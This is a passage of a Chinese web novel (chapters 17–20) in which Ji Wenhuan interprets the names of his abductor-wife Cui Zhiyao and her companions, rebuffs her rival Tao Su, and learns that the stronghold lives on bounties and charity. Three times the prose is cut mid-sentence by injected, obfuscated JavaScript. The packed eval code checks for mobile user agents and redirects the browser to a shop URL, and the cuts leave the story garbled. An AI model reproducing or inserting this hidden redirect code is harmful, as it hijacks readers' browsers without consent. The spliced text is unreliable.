崔执瑶诧然抬眼——他竟未趁机嘲讽她。 一旁指点着映月的孟云松也抬起头,满眼写着不平:练累了便能歇?先生当初对我可不是这般!那时我可是连写了数日,先生也未曾心软过啊! 陶肃也停下笔,冷冷盯着纪文焕,目光如刺:这厮果然是在消遣他! 崔执瑶闻言,眸中带着几分将信将疑的亮光:“真的?你肯讲别的了?” 纪文焕将众人神色尽收眼底,拂衣在石桌首端坐下:“都暂且停笔吧,听我讲片刻。” 便是最守规矩的映月,脸上也悄然掠过一丝如释重负的轻松。 孟云松迫不及待地问:“先生,她们字都认不全呢,您打算讲什么?” 纪文焕略作沉吟:“若此刻便讲经义诗文,确为时过早。不如……就从你们的名字说起吧。” 孟云松面露期待,崔执瑶未置可否。 陶肃仍是一声轻嗤:“一个名字,还能讲出什么花样?” 映月有些窘迫地低下头,小声道:“姑爷,我的名字是原先主人家随口叫的,没什么讲究……就不必讲了吧。” 嘉音亦神色淡淡,接口道:“我的‘嘉音’二字,是楼里妈妈所取,意为美乐,盼我琴艺精进,多揽客人罢了。我不喜欢,先生也不必费心解读了。” 崔执瑶却在此时开口,并不认同:“名字是旁人取的,可它究竟意味着什么,未尝不能由你们自己重新给它个说法。” 她看过映月与嘉音:“一个称呼而已,它代表不了你。倒是你日后走过的路、做过的事、活成的模样,才能反过来,给这个名字添上分量。” 这番话坦荡利落,纪文焕听得眸中微亮,侧目望去,见她眼中一片澄澈坦然,心尖似被什么轻轻一触。 她没有引经据典,似乎只是将她视为理所当然的道理,用最直白的方式说了出来,却自有一股力量。 她的确是没读过什么书,可是活得却明白得很。 “瑶娘说得在理。”纪文焕温声接过话头,“譬如‘木兰’,本是寻常花木之名,却因木兰代父从军的典故,成了千古传颂的巾帼气概。可见字在人用,它最初的寓意,未必比你们日后为它增添的光彩更重要。” 映月与嘉音对视一眼,神色间渐起动摇。嘉音终是先轻声问道:“既如此……先生打算如何解我的名字?” 纪文焕缓声道:“‘嘉’者,善也、美也;‘音’者,声也、律也。为你取名之人,是盼你能奏出悦人之曲。然我以为,‘嘉音’二字亦可解作——发于心声,自成佳律。寓意你往后所言所行,皆从本心而发;无愧无悔,自谱华章。不必取悦于人,更无须受制于人。” 嘉音怔然听着,眼中渐渐漾开波澜。 “发于心声,自成佳律,”她默默念了一遍,心中触动,唇角浮起一抹真切的笑意,“这个寓意我很喜欢。多谢先生。” 纪文焕转而望向映月:“‘映月’二字,如水镜涵辉,静映天心。月有阴晴圆缺,亘古澄明,亦寓坚韧恒久之意。” 他声音放得更缓,“倒也是人如其名,你的心思的确明澈如镜,想来能照见世间良善。自身也静默坚韧,柔而不折。” 映月颊边微红,低下头轻声道:“还是头一回……有人这样夸我。多谢姑爷。” 孟云松迫不及待地问:“先生,我呢我呢?” “你的名字倒好解。”纪文焕含笑,“‘云’飘逸升腾,志在苍穹;‘松’扎根岩隙,傲骨凌霜。二字相合,便是凌云之志,坚贞如松——确是个好名字。” 孟云松喜形于色:“原来我的名字可作这般寓意!往后若有人问起,我也能告诉他了!” 纪文焕将目光落在陶肃身上。 陶肃面上仍挂着那副不屑神色,嘴角却几不可察地绷紧了些,目光也悄然定在纪文焕身上。 纪文焕脸上显出几分恰到好处的“难色”:“关于陶兄名字的典故原也不少。只是纪某才疏,一时能想起来的竟只有……” 陶肃蹙眉不耐道:“想到什么便说!吞吞吐吐作什么?” 纪文焕面露赧然:“说来惭愧——纪某一时竟只想到‘桃酥’二字。” 崔执瑶闻言,毫不客气地轻笑出声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966328|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陶肃的脸色瞬间黑如锅底。方才为别人解名,都是风雅美誉,轮到他,竟只剩一盘糕点?!这分明就是不愿为他费心! “纪文焕!”陶肃咬牙切齿,“你故意的是不是?” “其他典故事到临头,确实想不起了。”纪文焕神色坦然,“但陶兄莫恼,便是这‘桃酥’,也未尝没有一番好寓意。” 陶肃强压怒意:“哦?”他倒要听听这书生如何巧舌分说。 “陶兄有所不知,京安桃酥色香诱人,是极受喜爱的名点,恰如陶兄风采出众,令人见之难忘。其质酥松,入口即化,又可比陶兄行事利落爽快,不拖泥带水,实有侠士之风。” 陶肃虽觉这比喻古怪,但词句皆是褒扬,心中那股邪火还真被抚平了些许。那些文绉绉的典故他本就不甚明了,这桃酥之说虽直白,但听起来倒也不坏。 崔执瑶却轻哼一声:“就算桃酥是京安名点,酥松可口,可这类糕点却有个通病——”她眼波斜睨,“易碎,下手稍重便碎成齑粉。纪文焕,你绕着弯说了这许多,其实想说的是不是——有些人看似威风,实则一遇上硬茬便原形毕露,不堪一击?” 陶肃先是一愣,随即怒道:“他自己想不出典故,师妹怎还帮着他骂我?至少我知道,‘肃’字乃整肃巍然之意,能镇一方!” 话音方落,他便见纪文焕与崔执瑶眼波无声一触,似有笑意。 陶肃骤然醒悟,霍然起身:“纪文焕,你果真耍我?!” 纪文焕未料到自己的弦外之音会被她点破,不由朝崔执瑶投去一抹带着叹服的眼色。此刻被陶肃识破,他立即正色道: “陶兄误会了,纪某绝无此意。”想着逗弄也够了,便认真解说,“陶兄若不喜桃酥之喻,纪某倒另有一解。‘肃’字本义为恭谨、严正。《论语·季氏》言‘君子有九思’,其一便是‘事思敬’,与‘肃’之内涵相通。以此为名,寓意处事恭谨、言行端方,有谦谦君子之风。” 未料陶肃冷笑:“你既能好好解,方才偏提什么桃酥,果然是在存心戏弄我!” 纪文焕倒是愣了,这厮今天反应这么快? 却听崔执瑶的声音凉凉响起:“话是我说的,与他无关。师兄若要寻不痛快,我奉陪便是。” 陶肃对着她冷哼一声,胸膛起伏,却终究没接这话茬,只将拳头默默捏紧又松开。 崔执瑶见他偃旗息鼓,便不再理会,l转而看向纪文焕,眉梢一挑:“你说了这么一圈,总不会独独漏了我的吧?” 未等纪文焕开口,陶肃已抢先阴恻恻插话,语气酸涩:“师妹的名字有何难解?‘执掌美玉’罢了!师父当年就说,你是咱们山寨最珍贵的宝贝,合该捧在手心里疼着!” 崔执瑶连个白眼都懒得给他,只盯着纪文焕。 纪文焕点头,不疾不徐地补充:“‘执瑶’二字,寻常看来确是执掌美玉之意。但若拆开细解,‘执’不止可作执掌,也可作执守、持守;《说文》有载‘瑶,石之美者’,亦可解为生于山野、经风霜磨砺的珍宝。故而‘执瑶’在我看,不一定是‘被人执掌之美玉’,也可是执守本心,贞如璞玉。” 崔执瑶只听了个大概,问他:“那你觉得……这名字可与我相配?” 纪文焕微微一顿,视线落入她清亮的眼眸里,认真答道: “自然相配。” 他嗓音温润,字字分明: “夫人侠骨丹心,赤忱坦荡。” 日光洒在她身上,他就这样望着她——那双眼睛实在太亮了,此刻笑得弯弯的,带着山野最蓬勃鲜活的气息,坦荡而明亮 ——若要说她是这山野间最耀眼的美玉,也不为过。 18. 第 18 章 两人目光胶着片刻,崔执瑶隐约觉得,纪文焕此刻望着她的眼神里,似乎比平日多了些东西。 那东西太隐约,她看不真切,也懒得多想,只顺着话头追问:“那你的名字是什么意思?” 纪文焕:“字面之意,文采焕然。便是文章写得尚可的意思。” 崔执瑶点点头,又摇摇头,神情很是认真:“那这名字,与你倒不算相配,你这么有学问,文章应是写得极好才对。” 纪文焕没接她这句评语,只不着痕迹地移开目光,转而讲起了别的典故轶事。 讲到孟云松问的一句“牡丹芍药蔷薇朵,都向千官帽上开①”时,一向对诗文兴致缺缺的陶肃,破天荒地主动发问:“皇帝赏朵花戴在帽子上,这些当大官的,为何就能乐成那样?” 纪文焕耐心解释:“御前簪花,重点不在‘花’,而在‘御赐’。此乃天子恩典,代表圣眷优渥。蒙受天恩,自然欣喜。”想了想,他又补充,“当然,除去皇恩浩荡,簪花本身亦另有佳意。譬如传胪大典、琼林宴饮、国子监谒圣之时,新科进士皆会簪花示荣。” 陶肃眸光一闪,追问道:“那若是寻常女子为男子簪花呢?” 见他神情殷切,纪文焕虽不解其意,仍如实答了:“虽无典制可考,但能行此举,大抵是情深意厚。” 陶肃立刻转向崔执瑶,语带得意:“师妹可还记得?你我十四岁那年春,桃园之中,你也曾为我簪过一枝桃花。”他瞟了纪文焕一眼,声音抬高几分,“如今想来,不正合此诗意境么?” 纪文焕目光不由自主地转向崔执瑶,却见她面色已然沉了下来。 他心下微讶:竟真有此事?这对师兄妹从前感情这般亲近么?他实难想象崔执瑶为陶肃簪花的情形。 崔执瑶冷冷开口:“当年若不是师兄与我同组狩猎,故意失手拖累,我又怎会被罚为你簪花?” 孟云松“啊”了一声,恍然击掌:“是了!我也想起来了,确有这桩事!那年春猎比试,陶老大你非拉着大小姐一组,结果马失前蹄摔伤了腿,害得大小姐输了彩头,被罚要给你簪花!大小姐当时折了枝开得最歪的桃树枝,胡乱往你头上一插就跑了!” 这一解释,桌边几人皆忍俊不禁。 “你给我闭嘴,”陶肃低喝一声孟云松,后者脸上悻悻。陶肃面子也挂不住,强辩道:“我那时是受伤了,师妹怎能说我是故意?” “便不是故意,也是你技不如人,拖了后腿。”崔执瑶毫不客气,“自己丢人现眼连累旁人,时隔多年竟还有脸拿出来说道,陶肃,你的脸皮是拿墙砖砌的不成?” 眼见两人又要争执起来,纪文焕适时再翻开一页,温声引向下句诗文,赶紧阻止战火。 直至日落西山,这日的课方告一段落。 孟云松先行离去。陶肃待院中众人各自散去忙碌后,独独叫住了纪文焕。 两人走到院外不远的一棵老树下,纪文焕便停了步:“陶兄有话,不妨在此直说。” 陶肃转过身,目光如炬,开门见山: “你喜欢崔执瑶吗?” 纪文焕被这一问打得措手不及,脑子一片空白,恍惚间只觉,这问题好似比任何诗文释义都更难应对。 陶肃紧跟着又问:“那你还想离开这儿吗?” 纪文焕神思一凛,此次答得快了许多:“我若说想,陶兄便会放我走么?” “自然不会。”陶肃笑了,“我只是想瞧瞧,你是不是已对我师妹动了心。你既然还想走,便是还没有。” 纪文焕无语一瞬。 他直觉这两个问题不能如此简单地划上等号,可若要他此刻坦然承认“喜欢”,却也绝非事实。这微妙的悖论堵在胸口,让他无从辩驳。 “陶兄既已得了答案,纪某便先回了。”纪文焕转身欲走。 “且慢。”陶肃叫住他,“我还有一事,想请纪先生相助。” 纪文焕脚步一顿,并未回头:“何事?” “帮我追求崔执瑶。” 纪文焕身形微僵,缓缓转回身,眼中难以置信。 陶肃却坦然道:“你既不喜欢她,何不成全于我?若她能移情于我,或许会心甘情愿放你自由。于你于我,岂非两全其美?” 纪文焕心下只觉荒谬——这话哄三岁孩童还差不多。他记性向来好,下山一次就将路线记住了,崔执瑶又何尝猜不到?她绝无可能放虎归山。至于陶肃所说的大发慈悲,更是渺茫。 即便真有万一,他也不想帮这个忙。 “抱歉,”纪文焕声音清冷,“纪某并无为人做媒的兴致。” 陶肃脸色一沉:“你分明对她无意,为何不肯将她让给我?莫非是我看走了眼,你表面君子,内里实则自私狭隘,宁可困着她,也不愿她得到更好的归宿?” “自私狭隘的,恐怕另有人在。”纪文焕不避不让,直视着他,“无论我对她心意如何,崔执瑶首先是她自己,一个有血有肉、能思能想的人,而非一件可供你我推让交易的物品。她喜欢谁,厌恶谁,该由她自己的心意决定,何来‘让’字一说?” 他顿了顿,语气更沉:“我并非反对两情相悦、旁人撮合。只是我清楚地知道,她对你并无此意。既如此,便更不能从中作伐。” “你胡说八道什么!”陶肃恼羞成怒。 看着陶肃骤然难看的脸色,纪文焕索性把话说得更明白些:“你与崔执瑶,性情不合,强求无益,还是早些放手为好。” “我不合适,难道你就合适了?!”陶肃像是被踩了尾巴,反唇相讥,“别忘了,你也是被她强抢来的!你既在这里同我讲什么放手的大道理,怎么不去劝她放过你?” “你怎知我没劝过?”纪文焕淡淡道,“正如我方才这番话,陶兄听了心中不服。同样的话,我对崔执瑶说,她也未必肯听。所以,陶兄自然也可以凭你自己的本事去抢。我能做的,不过是以理相劝。听与不听,在你们自己。我虽不打算不会帮你,却也不会拦你。” 他目光清锐如刀: “只是,你敢这般对她么?” 陶肃被他问得哑口无言,脸色青白交替。 他自然不敢。既无这份胆量,亦无这般能耐。 “天色不早,院里该摆饭了。”纪文焕整了整衣袖,“纪某先行一步,陶兄请自便。” 说罢,不再多看陶肃一眼,转身踏着渐浓的暮色,朝小院走去。 刚迈进院子,一偏头就见崔执瑶正负手立在门扉内侧。大约是听见了脚步声,她转过身来,眼底含着笑,直直看向他。 纪文焕心下明了:“方才你都听见了?” 崔执瑶坦然点头:“我怕他欺负你,便跟上去瞧瞧。” 听见便听见吧,本也算不得什么需要遮掩的事。只是她此刻这般直白清亮的眼神,倒叫纪文焕有些招架不住,一时不知如何应对。 “我还以为,”崔执瑶走近两步,“你会应了他呢。” 纪文焕眉梢微扬:“我看着像个牵红线的?” “你看着很想逃。” 纪文焕沉默下来。这话不假。 片刻后,他问:“你为何如此讨厌陶肃?” 陶肃此人虽轻狂桀骜,却也算正直侠义,如果二人仅仅是性情不合,似乎也不应该让崔执瑶对他深恶至此。 崔执瑶并不避讳,声调平缓地追忆起来,“幼时我娘走得早,我爹又常不在寨中,他会做饭,我爹便把我的日常饮食交由他照料。” “他总爱做芹菜。我不喜欢,说过许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966329|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多次,他却不听。他说不许挑食,定要逼我吃。我跑去别家蹭饭,他便将我抓回来,按在桌前继续吃。有一回,我爹四五日未归,我顿顿被迫吃芹菜,直吃到呕吐。我问他何时能不吃,他说,等我打得过他的时候。” 纪文焕的眉头渐渐蹙起:“寨主便不管么?” “我娘走后,我爹对我近乎放养。那时我与他并不亲近,也不愿去诉苦。他根本不知情。”崔执瑶顿了顿,“自那以后,我便开始同他打架。可他天生力气大,是练武的好料子,我爹还收了他做徒弟。他确实厉害,学什么都快。论起来,我习武比他早好些年,可每回较量,总是他胜。” “你那时年纪小些,打不过也正常。”纪文焕话里带着自己都未察觉的宽慰。 “可我不甘心。”崔执瑶依旧能听出执拗,“哪怕后来我已学会了自己做饭,但还是想打败他——不止为了芹菜,更为争一口气。” “十二岁那年,我第一次赢了他。”她的声音泄出一缕久远的快意,“我至今记得他那副模样——不可置信,羞愤难当,脸色铁青地质疑我使阴招。我们几乎又打了一天一夜,最后他被我一脚踹进了池塘——”她看向纪文焕,“就是你失足落水的那个。” 纪文焕觉得耳熟:“莫不是你们掀翻学堂那次?” 崔执瑶点头:“是。” 纪文焕一时失笑,想到那场闹剧背后竟是这般缘由,倒觉出几分奇妙的因果:“原来那场架最后是你赢了。” “自那以后,他再不敢欺我。”崔执瑶目光清亮,“而我也暗暗立誓——往后我想要什么,便定要得到。” 纪文焕听到此处,心下已了然。 怪不得要将他抢来。她是不愿陶肃再有第二次逼迫她的机会。 从某些道理上说,这念头并无错处,甚至值得称许。 可这绝不该用在情之一字之上。 崔执瑶看他:“怎么不说话了?” “说了你又不爱听。” “所以你仍觉得,我与陶肃并无二致?” “就像他逼你吃厌恶的芹菜,”纪文焕心一横,“你逼我娶一个……我无意之人。你最终厌极了他,又凭什么认定,我最后不会恨你呢?” 空气静默良久,崔执瑶才轻声开口,那声音里竟听不出太多情绪,似乎只是单纯的疑问:“那你会恨我吗?” 纪文焕诚实道:“我不知道。” “没关系。”她语气里没有痛苦或憾然,反而很利落,“恨便恨吧。反正,你已经是我的人了。” 纪文焕哑然。 他有时候挺羡慕崔执瑶的,只听自己想听的,其余一概当作耳旁风。 纪文焕想了想,开口:“你和他,还是不同的。” “哦?” “无论是当初逼你吃芹菜,还是后来迫你成亲——你们一同长大,他这般不尊重你意愿的事,想来还有许多。”纪文焕声音渐低,“但你对我,却正如你自己所说,除了最初强掳我上山,之后种种,皆是真心相待。虽非我所愿,但这份心意,我明白。” 话音落下,他忽觉自己这话说得有些毫无逻辑——更像是在说服自己。 崔执瑶静了会儿,道:“其实山下初遇时,我只觉你生了副好皮相,并不知你性情如何。”她语气里透出一丝难以捉摸的意味,“带回山寨后,才发觉……你秉性反倒更对我胃口。” 她侧过脸,在昏朦夜色中望向他:“纪文焕,你当真想我放你走么?不然怎么总能说出这般……合我心意的话来?” 纪文焕有一种自己亲手递出去的台阶,反倒被她拿来绊了自己一脚的感觉。 鼻尖恰时飘来饭菜香,他索性装作没听见,快步往里走。 崔执瑶弯了弯唇,紧跟其后。 19. 第 19 章 接下来的日子里,崔执瑶依旧一边养伤,一边在院中练字。不知是否是她多心,总觉得纪文焕待她的态度,与以往有些不同。 他几乎寸步不离地照料在她身旁——端茶递水、烧汤备浴、煎药换药……无一处不周到。若非经此一遭,崔执瑶还不知道她这位抢来的夫婿原是个这般细致之人。 在他的悉心照看下,不过五日,崔执瑶肩背的伤处已收口结痂,行动无碍了。 此外,崔执瑶的字迹竟也真的一日好过一日,工整清秀了许多。她自己也渐渐从中寻得几分静心安神的趣味,不再视之为苦役。 此刻两人并肩立在院中,纪文焕拿着她新写的一页字细细端详,纸上墨迹匀称,结构已见章法。 他眼中掠过一丝真实的赞许,侧头看向一旁扬着下巴、满脸藏不住得意的崔执瑶,不由失笑,诚心道:“果然,这世上没有崔大小姐做不成的事。” 崔执瑶毫不谦虚,眉眼飞扬:“那是自然。” 她想起正事,语气随意道:“对了,我爹已经知道你教孟云松读书的事。他让我问问你,可愿做山寨的学堂夫子?把寨子里那些破孩子都拢到一处教教。” 纪文焕闻言,本欲推拒的话到了嘴边,却犹豫了。想起自己如今困居山寨,短期内脱身无望,与其整日无所事事、徒增烦闷,倒不如找些事做,也能打发时辰。 “也好。”他最终点了点头,“改日我亲自去拜见寨主,详谈此事。” 崔执瑶见他应下,眼中笑意更深。随即,她话锋一转:“还有一事,我明日需得下山几日。你给我老老实实待在寨子里,”她眯起眼,语气里半是玩笑半是警告,“若再让我发现你动什么歪心思——我可真要把你绑起来,关在屋里,哪儿也别想去了。” 纪文焕一怔。倒不是为她要关自己,而是——“你伤才好,怎的又要下山?” “上回是为救嘉音,才多耽搁了几日。否则前些天就该我去的,结果让陶肃替了。”崔执瑶语气寻常。 纪文焕心说你们山寨怎么总能找到倒霉鬼打家劫舍。 崔执瑶问:“你在担心我吗?” “你又不是头一回下山,我担心什么?”纪文焕下意识还嘴,顿了顿,又默默补了一句,“年关将近,你自己多加小心,莫再受伤了。” “山上是要过年了,”崔执瑶敛了笑意,“可山下……怕还有不少人过不了这个年。” “北境又起战事了?”纪文焕问。 崔执瑶点头,倒没疑心他什么,毕竟大翎与苍厥的战事不是一朝一夕的事了,纪文焕上山前就应该已知道了。 她续道:“近来北地逃难来的流民渐多,云平城中也聚了不少。我爹说年节将近,总该行些善事,让我下山施粥布粮。” “你们……还施粥?”纪文焕愕然。 崔执瑶觉得他反应奇怪:“怎么,有何不妥?” 何止不妥,简直是匪夷所思。纪文焕心下愕然:一边做着打家劫舍的勾当,一边又给百姓施粥行善?这是什么路数? 崔执瑶瞧他神色,恍然明白:“你该不会一直以为,我们是个打家劫舍、无恶不作的山寨吧?” 纪文焕很自然地问:“莫非还不是么?” 毕竟强抢民男之事都做得出来。 “自然不是!”崔执瑶当即反驳,一时不知该恼还是该气,万没料到他竟是这般想的。 “我爹当初聚众上山,虽带了些身手好的兄弟,但更多是为收容那些在山下活不下去的苦命人!”她语速加快,带着不容置疑的认真,“我爹为人或许古板些,可心肠最是正直仁善,绝不许寨子里做那等伤天害理、欺压良善之事!” 纪文焕仍是不解:“那你时常下山,每每带回不少货物银钱,又是为何?” 崔执瑶看了他一眼,心想事到如今,告诉他也无妨。 “我爹早年经营着一个江湖上的情报网络,具体如何得来,我也不甚清楚。但寨子里大半开销,都靠这网络接取悬赏维系。”她解释道,“悬赏名目各异,有护送珍宝的,有保护要人的,也有……追杀恶徒的。我们自有规矩,护卫之事,但凡不违道义皆可接;追杀之令,只诛大奸大恶之人。每成一桩,便得一笔丰厚赏金。这营生,从我爹和几位叔伯起便在做。我自幼习武,也是为着日后能接过这担子,维系寨子生计。我下山办事,得了赏钱,自然要采买些寨中需用之物带回。” 这番话全然出乎纪文焕意料。 细想之下,倒觉崔温茂其人着实不简单。崔执瑶他们,便如在外征战的兵士,守护一方安宁。在这足可称王称霸的山野之地,所思所虑仍是寨民温饱安定。 若非他身有要务……或许真会心动留下。 “何况你也瞧见了,寨中人多会耕织,除却公中开销,平日皆能自给自足。我们安安稳稳度日,何须打家劫舍?” “若遇只图享乐、不肯出力之人呢?” “蒙了眼,扔下山去便是。” “不怕他们将寨子的事说出去?” “说出去又如何?”她不屑地哼了一声,“那般懒汉,连官府的门都未必摸得着,就算为了赏钱侥幸报到了官,官府又找不到我们,多半也就不了了之。周遭百姓听了,也只当笑谈罢了。” 纪文焕默然。他又想起一事:“上次我下山,听那些掌柜称寨主为‘崔员外’……你们在山下,另有身份?” “自然。”崔执瑶点头,“若无妥当身份,进城文书、采买货物如何办理?我们在云平城下属的一个县里置了宅院,挂了‘崔员外’的名头。我爹偶尔去露个面,对外只说常年在外行商。平日施粥散粮,也得借这个名头。” 听她说完,纪文焕再细想崔温茂平日行止——确与寻常被逼上山的好汉大不相同。他性子温厚,处事从容,言行间并无山野之人的粗豪气,甚而比崔执瑶还少几分莽撞。上山多年,仍不肯作恶,虽岁月磋磨了些痕迹,却不难想见他从前应是个守礼有节的端方之人。 崔执瑶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16966330|193392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见他出神,有些不乐意:“你想什么呢?” 纪文焕回神,轻叹:“我没想什么,我在自责,以前误会了你是女匪,没想到还真是位女侠。” 话是这样说,脸上却见不到一点愧色。 崔执瑶眉眼一弯,笑吟吟地望向他:“那你打算如何赔罪呢?” 纪文焕没料到还有这一出,心头一跳,直觉没什么好事。可撞见她那双含笑的眸子,拒绝的话竟在唇边打了个转,又咽了回去。他低声问:“你想让我如何赔罪?” 崔执瑶偏头想了想,眼中狡黠一闪:“你给我做一顿饭吧。” “做饭?”纪文焕愕然,随即面露难色,“我从未下过厨,做出来的东西怕是难以下咽……要不,你还是换一个吧?” “不急。”崔执瑶摆摆手,笑意盈盈,“这几日我正好不在,你可以寻映月学着做些简单的。待我回来,你再露一手给我瞧瞧,如何?” 纪文焕还是犹豫:“这……” 崔执瑶不想他拒绝,伸手轻轻拉住他的衣袖,晃了晃:“求你了嘛。” 纪文焕脊背倏然僵直。 他垂眸,只见崔执瑶微微仰着脸,那双素日里或清亮或狡黠的眸子,此刻眼波流转,竟漾出几分他从未见过的……柔软情态。 她这是在……对他撒娇? 这个认知毫无预兆地撞入脑海,纪文焕只觉得一股热气猛地冲上耳根,胸腔里那颗心不听话地重重撞了几下,撞得他呼吸都乱了一瞬。 他听见自己的声音,比预想中更快地妥协,带着点无奈:“……我试试吧。” 崔执瑶听得眼笑眉舒,心满意足,转身便要回屋去收拾包袱,袖口却忽地一紧。 是纪文焕拉住了她。 崔执瑶回头,见纪文焕问:“你这次何时回来?能赶上年节么?” 毕竟离过年已不剩几天了。 崔执瑶没有立刻回答。她目光在他脸上细细描摹,像是要看清他问这话时最细微的神情。而后,她唇角弯起一个了然又带着点促狭的弧度,反问:“你希望我赶回来吗?” 纪文焕顿时语塞,觉得自己又被她将了一军。说“希望”,似乎太过奇怪;说“无所谓”,也不算本心。这两个答案,似乎哪个都不是他此刻想给出的。 踌躇间,崔执瑶的声音轻轻柔柔地飘过来:“你若说想,我定日夜兼程赶回来。” 终于,一道声音响起,平稳,清晰,坚定: “嗯。”他迎着她的目光,补全了这句话,“我希望你能回来,好好过个年。” 话音落下,崔执瑶眼中光彩骤亮,如春水破冰,明媚得晃眼:“那我会的。” 说罢,她像一阵裹挟着欢喜的风,转身便朝着屋内快步去了,衣袂翻飞,身影很快消失在门廊。 纪文焕仍立在原地,指尖似乎还残留着方才拉住她衣袖时的触感——冬日的风拂过他耳根,那里微微发烫,竟也觉不出寒了。 心旌摇曳,余韵绵长。 20. 第 20 章 院子里,灶房内。 纪文焕立于木案前,映月正站在一旁,他学着她的样子,将洗净的菜蔬摆正,一手按着,一手握刀,小心地切下——动作虽显笨拙,神色却极认真。又照着指点生火热油,不料菜刚下锅,热油花便“刺啦”一声爆溅开来! 纪文焕一惊,下意识抄起手边的木锅盖挡在身前,连连后退两步,撞得身后矮凳哐当作响,一时灶间火星微溅,烟气腾腾,颇有几分鸡飞狗跳的狼狈。 同一时刻,几百里外,云平城郊一座古寺旁。 寒风凛冽,临时支起的粥棚在风中微微晃动。一口硕大的铁锅架在简陋的灶上,底下柴火噼啪燃烧,锅内的稠粥剧烈翻滚,蒸腾起大团大团汹涌的白汽,几乎将站在锅后执勺的崔执瑶整个人都笼罩其中。 崔执瑶大力搅着手里的粥,又稳稳地将热粥舀起,倾入一只只伸过来的、或破损或粗糙的碗中。周遭人影攒动,,有人在高声维持秩序:“排队!都别挤!人人有份!” 云平城今冬雪少,偏偏年关时,落了一场大雪。 天地皑皑,草木尽凋,寨中却依旧喧闹。家家院门挂起红灯笼、贴上红春联,集市上人流熙攘,笑语不绝。 这次是纪文焕独自站在灶案边,面前是一团醒好的莹白糯米面,和一碗散发着醇厚甜香的黑芝麻糖馅。他挽着袖口,露出线条干净的小臂,指尖沾着些许干粉。从面团上揪下一小块,置于掌心,两掌相对,一揉一搓,便是一个浑圆的剂子。 拇指在球心按出一个小窝,用竹片舀起恰到好处的馅料填入,指尖灵巧收拢,指腹贴着柔软的糯米皮,沿着边缘一圈圈向上推捻、封口,再置于掌心轻轻揉搓几下,一个滚圆饱满的小元宵便成了。 他重复着这套动作,神情专注,手法流畅,全然不似生手。 又包好了几个,整齐码在一旁。门帘被掀开,映月带着一身寒气进来,见他在忙,放轻了声音道:“姑爷,寨主那边让人来传话了,请您晚上过去一起吃团圆饭。” 纪文焕手上的动作未停,只是抬眼看向她,语气带着点高兴:“崔执瑶要回来了吗?” 今日已是除夕了。 映月站在门边,嘴唇动了动,一时竟没接上话。 纪文焕手上捏元宵的动作慢了下来:“怎么了?可是她出了什么事?” “没、没有!”映月连忙摇头,“小姐平无事,只是……”她似乎在斟酌如何开口。 “只是什么?”纪文焕停下动作,目光落在映月脸上,声音依旧平和,却不再那么轻快,“你但说无妨。” 映月咬了咬唇,终于低声道:“小姐……” “小姐!这大雪把路全都封死了!根本上不去啊!”一个年轻汉子搓着手道。 山脚下,林子边。 崔执瑶只带了几个弟兄前来探路,马蹄在及膝深的积雪中艰难跋涉,留下杂乱的印迹,很快又被新雪覆盖。探了几条常走的山路,结果都一样——巨大的雪堆和倒伏的树木彻底阻断了去路。 崔执瑶勒住马,没说话,只静静望着眼前白茫茫的一片。 另一个年长些的弟兄叹了口气,劝道:“小姐,上山的路本就险,下了雪更是要命。依我看,咱们还是安心在山下过年吧。反正也不是头一回了,弟兄们都在,也热闹。” “就是啊小姐,”旁边有人附和,“咱们这儿也酒肉管够!山上又不缺您一个过年的,也没什么宝贝非等着您今儿个就回去不是?何必冒这个险。” “那是你们。”崔执瑶开口,“我可有宝贝等着。” 她目光从远山收回,语气坚定:“我今天必须得上山。” 几人面面相觑,都从对方眼中看到了担忧与无奈。先前那年长的汉子急道:“小姐,这可不是闹着玩的!您看看这雪,再往上走,怕是连马都能给没了半截!人走着就得没影了!” “小姐,我们知道您和姑爷新婚燕尔,难舍难分,”另一人也苦口婆心,“可这也不是逞强的时候。天威难犯,这大雪封山,就是老天爷不让过啊!” “这时辰也不早了,就算您现在开始走,等爬到半山,天也该黑透了。夜里风雪更大,路更看不清,那不是更危险吗?何况您就算拼死拼活赶上去,说不定都过了子时了!这又是何苦……” “我记得西侧山壁,还有一条路吧?”崔执瑶直接打断他们的话,语气平静,显然早已想过。 小姐!”几个人几乎同时喊出声,脸上惧色更重,“那哪是路啊!那坡陡得吓人,平时就没几个人敢走!就算雪积得少些,可滑不留脚!您功夫再高,也难保万全啊!” 崔执瑶仿若未闻,翻身下马,从马鞍旁取下一个酒囊挂在自己腰间,回头看向众人:“马我不带了,还要劳你们牵回客栈。” “小姐……” 几人还欲再劝,却见她已转身,深一脚浅一脚,径直踏入前方弥漫的风雪中。 身后的叮嘱很快被呼啸的风声吞得模糊不清,雪地上,一行新鲜的脚印孤独地蜿蜒向前,朝着白雪覆盖的青山。 